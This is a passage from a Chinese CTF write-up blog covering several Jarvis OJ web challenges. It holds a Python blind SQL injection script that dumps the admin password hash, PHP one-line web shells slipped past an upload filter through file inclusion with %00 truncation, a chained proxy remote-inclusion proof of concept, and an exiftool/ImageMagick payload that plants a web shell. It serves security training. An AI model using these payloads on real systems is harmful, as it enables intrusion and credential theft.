database'    global temp    database=''    for length in range(1,50):        temp[0]=chr(255)        search2('database()',length,30,127)        if temp[0]==chr(30):            break        database+=temp[0]        print database        #print ord(temp[0])    print 'the database is : ',databasedef get_tables():    global temp    print 'Geting the tables'    table=''    for length in range(1,50):        temp[0]=chr(255)        search2('(SELECT TABLE_NAME FROM information_schema.TABLES  where TABLE_SCHEMA=0x696e6a656374696f6e limit 0,1)',length,30,127)        if temp[0]==chr(30):            break        table+=temp[0]        print table    print 'the table is : ',tabledef get_columns():    global temp    print 'Geting the columns'    column=''    for length in range(1,50):        temp[0]=chr(255)        search2('(SELECT COLUMN_NAME FROM information_schema.COLUMNS  where TABLE_NAME=0x61646d696e limit 2,1)',length,30,127)        if temp[0]==chr(30):            break        column+=temp[0]        print column    print 'the password column  is : ',columndef get_password():    global temp    print 'Geting the password'    password=''    for length in range(1,50):        temp[0]=chr(255)        search2('(SELECT password FROM admin limit 0,1)',length,30,127)        if temp[0]==chr(30):            break        password+=temp[0]        print password    print 'the password   is : ',passwordget_database()get_tables()get_columns()get_password()
   
   
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50
  • 51
  • 52
  • 53
  • 54
  • 55
  • 56
  • 57
  • 58
  • 59
  • 60
  • 61
  • 62
  • 63
  • 64
  • 65
  • 66
  • 67
  • 68
  • 69
  • 70
  • 71
  • 72
  • 73
  • 74
  • 75
  • 76
  • 77
  • 78
  • 79
  • 80
  • 81
  • 82
  • 83
  • 84
  • 85
  • 86
  • 87
  • 88
  • 89
  • 90
  • 91
  • 92
  • 93

最后得到password的md5值为334cfb59c9d74849801d5acdcfdaadc3,去md5解密得到密码,登陆后得到flag

CTF{s1mpl3_1nJ3ction_very_easy!!} 
   
   
  • 1

首先看到奇怪的url,尝试文件包含,但是发现并不是

这里写图片描述

/尝试了文件上传,结果发现居然检测文件MIME内容…

这里写图片描述

尝试文件木马,未果…并不能执行。。。应该时该位置不能支持运行jpg文件(上传图片木马并没有被过滤)
通过上传了文件之后可以得到图片文件的路径

http://web.jarvisoj.com:32785/uploads/1504147663.jpg
   
   
  • 1

然后我们想,如果在uploads文件夹中不能运行jpg文件,那么之前我们失败的文包含件可否包含上传的图片!?尝试一下

这里写图片描述

然后我们可以用%00进行截断

这里写图片描述

成功了

然后构造图片木马,用类似http://web.jarvisoj.com:32785/index.php?page=uploads/1504147663.jpg%00去包含
上传<?php eval(system($_POST['cmd']));?>发现出现

这里写图片描述

应该时一句话木马被检测了出来吧,找找一句话木马的不同东西,猜测过滤 <?
使用小马

<script language="php">@eval_r($_POST['cmd'])</script> 
   
   
  • 1

直接莫名得到flag

这里写图片描述

 CTF{upl0ad_sh0uld_n07_b3_a110wed}
   
   
  • 1

Chopper

首先看到页面

这里写图片描述

查看一下图片的来源

这里写图片描述

看到这个心理一紧,会不会时远程的文件包含?

然后抓一下到admin目录的情况

这里写图片描述

一开始想的是加个X-FORWAREDE-FOR 头部完了,但是远远不是这样的,然后再观察proxy.php,应该就是远程的文件包含了,这里本地实验一下
构造如下

//1.php和2.php<?phpecho file_get_contents($_GET['file']);?>3.php<?phpeval($_GET['cmd']);?>
   
   
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9

然后本地实验一下

localhost:8080/1.php?file=http://localhost:8080/2.php?file=http://localhost:8080/3.php?cmd=system('whoami');
   
   
  • 1

这里写图片描述

可见是有效果的!
那么我们构造中间代理,用第一层proxy访问103.27.76.153下的proxy,再间接访问/admin目录!当然,有这个想法确并没有办法扫描 http://103.27.76.153/的目录,因为都被403了…
猜测就是proxy.php。。。(参考action的路径,实在不会猜测)
看了大佬们的做法,构造poc如下

http://web.jarvisoj.com:32782/proxy.php?url=http://103.27.76.153/proxy.php?url=http://web.jarvisoj.com:32782/admin/
   
   
  • 1
  • 2

好歹和猜想差不多…但是题目本身貌似挂掉了…没法做…后就是大同小异了,扫描目录,得到文件内容直接利用shell拿到flag即可,后面没什么大意思,但是这个远程文件包含亮了

CTF{fl4g_1s_my_c40d40_1s_n0t_y0urs}
   
   
  • 1

图片上传漏洞

这个题目很好玩,之前没有接触过类似的东西…各种传统的文件上传没法绕过之后,参考了大牛的wp,发现是一个CVE    ,利用的php的扩展工具imagick的漏洞
直接参考一篇文章,上面讲的比较详细,我们所使用的是其中的本地文件读取的部分
https://www.2cto.com/article/201605/505823.html
主要构造的payload如下

exiftool -label="\"|/bin/echo \<?php \@eval\(\\$\_POST\[x\]\)\;?\> > /opt/lampp/htdocs/uploads/y.php; \"" 1.png
   
   
  • 1

然后上传文件的时候需要注意需要filetype=show或者filetype=win,原因就是文章中原话:

猜你喜欢

转载自blog.csdn.net/qq_43679818/article/details/86237748